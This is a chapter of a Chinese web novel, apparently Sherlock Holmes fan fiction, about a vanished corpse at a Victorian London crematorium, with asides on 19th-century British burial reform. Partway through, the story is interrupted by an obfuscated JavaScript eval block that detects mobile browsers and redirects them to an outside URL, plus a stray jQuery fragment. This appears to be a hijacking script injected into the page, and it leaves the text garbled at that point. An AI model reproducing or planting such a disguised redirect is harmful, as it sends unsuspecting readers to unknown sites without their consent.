第93章。


    Chapter93


    周日,「卡恩斯火葬场」不对外营业。


    两位门卫佩奇、贾斯丁，从周六夜晚22点～周日18点值班。


    两人之所以发现布朗的尸体不见了，是好奇心作祟。


    大约今天清晨六点半,吃了早餐，他们聊起昨天新入库的尸体。


    白毛尸体的新闻传遍伦敦,但听的人多,见过的人少。这具尸体被放入「卡恩斯火葬场」的太平间，不如趁机去瞧一瞧,这种机会一辈子只有一次。


    火葬场主要分为三个区域：客户接待区、火化区与太平间。


    每个区域不连同，且各自上锁。


    老板卡恩斯有全部钥匙，门卫室只有总门与太平间大门的钥匙。


    进入太平间后,每个停尸柜又分别上锁,而钥匙串放在房间入口的钥匙柜中。


    反正周日不营业。


    两人紧锁门卫室,想着离开十分钟也没关系，一起去了地下一层太平间。


    太平间较大,一次性可以分格式停放五千尸体。


    卡恩斯是先经营了太平间五年,才在去年引入焚化炉，做起火化尸体的生意。


    佩奇与贾斯丁却没用几分钟就快速定位白毛尸体的藏柜。


    因为钥匙柜边有记录本，只需翻阅昨天的入库词条,马上就能确定白毛尸体被单独放在了Z区07号柜。


    Z区在最内侧。


    打开07号合金柜，两人傻在当场。柜子里，只剩下一块散发霉腥味的裹尸布，布朗的尸体却不见了。


    佩奇与贾斯丁入职丧葬业五年。


    以往都是道听途说，XXX在太平间复活,OOO传来棺材内部被重击的声音。


    今天,第一次亲眼看到诡异事件发生,第一反应是不敢置信。


    两人互掐了对方的脸,试图证明这是在做梦。


    脸很疼，真不是做梦。


    要不慌！


    说不定是尸体停放的柜子与登记本记录有了出入。


    这就把其余的4999个柜子都打开了。


    存入太平间的尸体左手都会绑一块黑布，上面用白色油漆写着柜子的编号。


    两人核对了柜


    内尸体与柜子编号。


    现有尸体3089具，停放位置都能一一正确对应，只差那具不见了的白毛尸体。


    事实摆在面前，布朗的遗体真的不翼而飞。


    上午八点，两人把这个可怕消息通报给老板卡恩斯。


    卡恩斯第一时间向苏格兰场报案。


    他不敢私了，布朗牵出了游乐园连环杀人案。


    其遗体在火化前失踪，究竟是诡异尸变？是凶手匡茨的同伙出现？或是一场针对火葬场的阴谋？


    莫伦与麦考夫抵达火葬场时，苏格兰场已经派人来了。


    来的是葛莱森警探，之前见过他两三次。


    照理该通知负责游乐园案的雷斯垂德出外勤，可他难得正常周日休息。昨夜出城去郊外露营度假，现在联系不上。


    老板卡恩斯一边让值班员工说明前情，一边带着前来调查的三人走了一圈事发的太平间。


    他问：“接下来要怎么办？明天上午11点是布朗遗体的原定火化时间，能在那之前找回尸体吗？


    “这不好说。


    葛莱森无法给出确定时间，先怀疑地扫视佩奇与贾斯丁。


    他又问卡恩斯：“如果在黑市上出售霉尸，现在它的报价是多少？


    这个问题叫两位值班员工变了脸色。


    这话的意思分明是执意他们监守自盗又编造出尸体消失的谎言。


    贾斯丁咬起了牙齿。


    佩奇更是立刻怒斥：“别以为你披着一层警服就能污蔑人，我和贾斯丁才没有贩卖尸体！我们在太平间工作五年，信誉一直很好！


    莫伦观察两位值班员工的动作反应，被冤枉的愤怒很真实，但葛莱森警探的怀疑也不是无稽之谈。


    太平间、墓地等丧葬机构与盗尸者暗中勾结倒卖尸体，不是新鲜事。


    黑市上对人类尸体的贩卖从未停止。从腐烂程度不同，售价8~15英镑不等。难得一见的霉尸，即便已经被解剖过，尸体上有了缝合痕迹，可仍旧是抢手货。


    葛莱森不在意佩奇、贾斯丁的愤怒，转而看向另三人。


    “比起相信尸体凭空消失，我更相信它是被偷走了。三位怎么看？


    卡恩斯作为老板，更偏向自家的员工。


    “警探先生，您说得有道理，但佩奇、贾斯丁在我手下工作五年，从没做过违法卖尸的事，是连一根手指都没偷运出去。


    维护员工声誉，何尝不是维护火葬场的名声。


    卡恩斯说：“就算有人偷尸体，也是外来的盗尸贼。不一定是冲着尸体来的。现在，伦敦看我不爽的人不在少数。


    想必海勒小姐也有所感觉，因为我支持火葬，昨天的丧葬研讨会上就有不少人对我吹胡子瞪眼，恨不得往我脸上吐口水。


    莫伦点头。


    与其说是卡恩斯是树敌太多，不如说是他开设火葬场的行为触碰很多人的利益。


    昨天的丧葬研讨会，让她对目前的伦敦殡葬业有更深认识。


    进入十九世纪后，用一个词形容伦敦殡葬业——混乱。


    城市人口激增、墓地资源短缺、传统的土葬观念、流行病去了又来……，各种因素导致人们在伦敦想死得舒服也困难。


    多数人不接受薄葬的理念，下层阶级希望至少在举办葬礼时稍稍体面一些。但别谈买好的墓地，就连停灵都是问题。


    在19世纪四五十年代之前，伦敦未能跟上人口大爆炸的节奏，修建足够多的太平间。只有教堂、医院等少数机构提供的少量停尸点。


    假设一位劳工死了，只能把尸体停放在租屋里，合租的租户们不得不与腐尸一起生活。


    不停尸呢？会有把人活埋的风险。


    欧洲各地都有“死者复活


    由于当下医疗检测仪器的落后，加上医生水平参差不齐，判定一个人死亡的准确度不高。


    棺材里传出的抓挠声，解剖台上被剖胸后发现仍旧跳动的心脏，这类传闻不绝于耳朵。起因与无法精准判断死者是否真的死亡有关。


    停灵变得非常必要，可以降低假死的活人被提前掩埋的可能性。


    为了改善与尸同眠的伦敦下层困境，顺理成章需要开设大量太平间，这也成了一门有利可图的生意。


    停灵只是丧葬业的一环，墓地是重点业务。


    早年间，教会管辖英国丧葬业。


    1850年前，牧师的收入来源包括从所属教区的墓地获得部分丧葬费收益。牧师给一位信众举办葬礼，还


    能获得8先令。


    伦敦人口暴涨后，墓地紧缺。


    私人墓地的管理堪忧，因为缺乏政府的全局统筹，选址位置更是混乱不堪。


    比如墓园下水道与城区居民商业下水道相连，让水源被严重污染，导致流行病肆意传播。


    英国议会在1850年提出丧葬改革，希望能把丧葬统筹权收到国家政府手中，但遭遇了各地教区、葬礼承办者、私营墓地老板的强烈反对，那会夺走他们已有的利益。


    多方强烈反对，让《1850年丧葬法案》成为一纸空文。


    伦敦恶劣至极的丧葬环境在继续。


    多数墓地污水横流、棺材被盗挖、尸体残骸堆积在地面等现象，外加霍乱肆虐导致大量人口死亡，1852年再次出台丧葬法案。


    这一次，承认了太平间制度的合理性，打击丧葬业的恶性垄断。


    同时更严格规定，迁移尸体必须获得政府的批准，以免盗尸行为泛滥。


    二十多年过去，伦敦人口翻倍，丧葬业又有了新的困难。用于建设墓区的土地越来越少了，买墓地的价格势必上涨。


    火葬是一种解决办法。


    骨灰坛下葬与装着整具尸体的棺材下葬进行对比，减少了用地面积，每个人的丧葬费也相对减低。


    同时，焚烧后的骨灰比起直接掩埋尸体，不容易造成疾病传染。


    昨天研讨会上，火葬场老板卡恩斯就列举了数个客观优点。


    火葬的推行却势必改变丧葬业原先的利润分配，教会方面也有人坚持认为火葬违背基督教义。以前，只会火烧巫师或邪祟，好人都是土葬。


    莫伦也不是完全支持火化，因为火葬会毁去被害人以尸体留下的凶案证据。


    在科学检测技术相对落后的时代，可能要多次尸检才能发现尸体保留的线索。


    假设被害人家属原先不同意解剖，把尸体土葬掩埋的话，还有劝说其开棺验尸的可能性。


    一旦让火葬合法化，直接把尸体烧了，很难再得到更多线索。


    她却也不是极力反对火葬，从阻断传染病的角度，火化病人尸体是能起到更好防范作用。


    莫伦不走极端，但白毛尸体失踪事故，表明是有人在走极端。


    她想起昨天


    下午研讨会散场，在学校门口感觉到的窥探。那不一定是冲自己来的，也可能是冲着其他参会者——比如盯上了卡恩斯。


    莫伦先问两位门卫：“你们确定昨夜没有可疑人士进出大门？有没有查过围墙四周，是否发现奇怪脚印？


    贾斯丁摇头：“我发誓，真的没有在门卫室见到古怪人影出没。


    佩奇：“今天凌晨两点左右，下了雨。围墙四周的泥地都湿了，如果有人翻墙的话，一定会留下脚印。


    早上，我们发现遗体不见了，我和佩奇也绕了围墙两圈，没看到古怪鞋印。尸体很沉，我觉得小偷做不到不留痕迹地偷走它。


    另外，所有锁头都没遭到破坏，这让白毛尸体更像是凭空消失。


    莫伦问：“太平间的钥匙有遗失或被盗窃过吗？


    贾斯丁与佩奇一起摇头。


    佩奇表示：“太平间营业以来，没出过偷盗事件。


    莫伦看向老板卡恩斯：“您保管的钥匙呢？还在吗？


    “在啊，当然在。


    卡恩斯非常肯定，直接从大衣口袋里取出钥匙串。“我都是随身携带。


    莫伦：“昨天研讨会后，您去了哪里？是直接回家，还是去了酒吧或餐厅？


    卡恩斯不太明白为什么要这样问，但他如实回答了。


    “大概19点，我先去吃了一顿法餐。21点半左右，我到「猛虎酒吧」喝了两杯，大概是零点前回家的。


    莫伦：“吃饭或喝酒的时候，您应该脱下了外套。您能确定整个过程中，钥匙始终在您的视线范围内吗？


    “额……


    卡恩斯努力回想，“我确实不可能分分钟注意外套，但它始终放在我伸手能够到的位置。


    麦考夫听到这里，基本确定卡恩斯的钥匙被偷走过。


    熟练的小偷不用两分钟，可以完成偷窃钥匙——泥印倒模——把钥匙放回原位的动作。


    麦考夫问：“昨天在酒吧，您有没有被不认识的人搭讪，然后聊得热络？


    卡恩斯点头了，但觉得这也正常。“在酒吧遇上陌生面孔，也不奇怪。


    莫伦：“但霉尸不见了，就要怀疑您的钥匙串在酒吧被人顺走倒模的可能性。


    卡恩


    斯有些不愿相信自己身上的纰漏。


    “昨夜十点，对方偷走我的钥匙去倒模。然后抓紧时间配钥匙，赶在今夜凌晨两点下雨前完成盗尸。全程没有引起门卫注意，听起来不像是一般小偷。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589762|129051||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    莫伦：“您也说了，开设火葬场让您树敌颇多。对方能雇佣团伙作案，偷走白毛尸体对火葬场的负面影响可不轻。


    卡恩斯立刻想到竞争对手能从管理不到位上攻击他。


    另外，不能排除是来自教会的警告，改变传统的土葬习俗就是对教会的挑衅。


    “不过……


    莫伦却是口风一转：“我认同佩奇、贾斯丁的话。尸体很重，即便是小偷团伙作案，想不留痕迹地从墙头把尸体运走，是有一定难度的。


    卡恩斯有点晕了，“您的意思是？


    莫伦看向麦考夫。


    麦考夫微微点头，望向窗外。


    从太平间所在区域的一楼往外看，二十五米外是火化区，那里竖着一根大烟囱。


    麦考夫问卡恩斯，“事发后有没有检查过焚化炉？


    “什么？


    卡恩斯更懵了：“为什么要查焚化炉？您该不会认为霉尸被人放到焚化炉内了吧？


    两位门卫没有查过火化区，是想都没想到要去查。


    尸体被盗也好，死而复生也罢，怎么会进入焚化炉呢？


    贾斯丁：“偷白毛尸体，不是为卖一个好价钱吗？怎么可能把它从停尸柜移到炉子里？


    佩奇：“这样做是多此一举。原定在明天把布朗火化，小偷何必抢搬尸工的工作。


    葛莱森警探也觉得可能性不大。


    “偷窃、配钥匙、运出尸体、装入焚化炉，费力不讨好地做这些事，逻辑上不合理吧？


    麦考夫：“这却能够解释为什么找不到尸体被偷运翻出墙的痕迹。听起来不可思议，不代表不会发生。


    莫伦也是这样认为的，问老板卡恩斯。


    “火化区的钥匙，谁有？


    卡恩斯：“一共两串。一串我随身携带，一串我藏在了家里。每天，我上班开门后，再使用焚化炉。


    莫伦：“或许，这就是为什么一定要盗配您的钥匙串。


    “现在去看看。


    卡恩斯也不多争辩，布朗的遗体是否在焚化炉，去验证就能知道结果。


    十分钟后，结果出现在了面前。


    火化区的锁头也都没有被破坏。


    打开两台焚化炉的合金门，里面空空荡荡，飘出一股隐隐的焦炭味，可没有半点白毛尸体的影子。


    卡恩斯没见到白毛尸体，情绪并没有转好。


    如果炉内藏尸，别管小偷奇怪行为的背后目的，好歹他能向客户交代。


    现在距离火化时间只有四十八小时，他从哪里变一具尸体出来？


    麦考夫凝眸看着焚化炉，转身问：


    “卡恩斯先生，您对焚尸燃料的库藏情况了解吗？昨天最后一次焚烧之后，有没有盘点燃料的库存？”


    卡恩斯：“当然盘点了，每个星期六都会盘点。”


    麦考夫：“请您再去查一下燃料是否少了。”


    卡恩斯愣了半分钟，这次他听懂了。


    “您该不是怀疑尸体被烧了吧？然后，对方又清理走了骨灰？为什么啊？”


    麦考夫微笑：“您先去查查燃料，如果缺失的话，再去想对方的动机。”


    卡恩斯去隔壁房间，打开了燃料存放柜。


    清点后发现，与昨天下班前库存对比，真的少了一份燃料，刚好能够焚烧一具尸体。


    “奇怪！太奇怪了！”


    卡恩斯想不通了，“难道小偷真的把布朗的尸体烧了？”


    莫伦望向焚烧炉内部。


    在非工作状态时，炉内昏暗，只能借着外部光线看到入口的大致情况。


    内壁是砖石结构，地面中央有一条沟槽。沟槽能聚拢尸骸燃烧剩余物，便于收集骨灰。


    想要检查细节，必须进炉。


    莫伦：“卡恩斯先生，请给我一盏煤气灯，我进去看看是否有别的线索。”


    麦考夫随即补充：“卡恩斯先生，是两盏灯，谢谢。我也进去瞧瞧。”


    说着，麦考夫侧头向莫伦微笑。


    邀请他一起参观火葬场，怎么能把他独自留在炉口，让他缺席焚化炉深度游。何况面对未知区域，有必要双人进入，那更保险。


    莫伦挑眉，微微颔首。


    福尔摩斯先生愿意与她一起进入焚化炉，是好事，


    很能提升检查效率。


    莫伦看向葛莱森探员：“那就劳烦您在炉口等候，说不定要递一些别的工具。


    葛莱森郑重点头：“请放心，我会一直守着。


    他懂，必须有一个熟人留守。不只是为了传递工具，也要谨防炉门关闭等突发事故。


    焚化炉像是一头静默的怪兽，正张开血盆大口。但凡被它吞噬的人类，将会化成一团灰烬。


    莫伦与麦考夫拿到了煤气灯，顺着推尸体入炉的轨道，一前一后走进入“怪兽的体内。


    两人举着灯。


    望向焚化炉内壁，砖块上累积着粘黏的骨灰残痕。有的砖面灰浆因为长期高温而剥落，需要修补了。


    两人来到火葬场的核心位置。


    头顶烟囱，冷不丁窜入一阵风。


    寒意顺着后脑勺，贴着后颈，向脊椎蔓延。


    麦考夫：“站在焚化炉中心，真是一种奇妙的感觉。


    莫伦：“幸好没有觉得身体暖暖的，那必须立刻夺路而逃，否则会从如沐春风到烈火焚身。


    麦考夫：“被活活烧死，真是不体面的死法。


    不过，两个人的骨灰混在了一起，绝对不会感到孤独。


    后半句没有说出来，他迅速移开目光。随意瞥向脚边，看到了一颗牙齿躺在地面上。


    作者有话要说


    19世纪英国火葬，参考《论19世纪英国丧葬改革——以城市为中心》，任乐萍